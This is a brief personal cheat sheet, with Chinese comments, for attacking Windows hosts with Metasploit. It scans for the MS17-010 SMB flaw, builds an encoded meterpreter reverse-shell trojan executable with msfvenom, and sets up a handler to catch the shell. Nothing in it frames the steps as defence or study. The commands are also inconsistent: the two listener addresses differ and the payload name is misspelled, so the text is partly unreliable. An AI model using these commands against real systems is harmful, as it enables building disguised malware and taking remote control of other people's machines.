metasploit
nmap --script smb-vuln-ms17-010 192.168.8.109
#生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=1234 -f exe > ./test.exe
#msfconsole打开交互工文本界面
use exploit/multi/handler
set payload windows/metepreter/reverse_tcp
show options
set lhost 192.168.100.5 获取shell 的主机
set lport 1234 与木马通信的端口
exploit 获取攻击主机的登录shell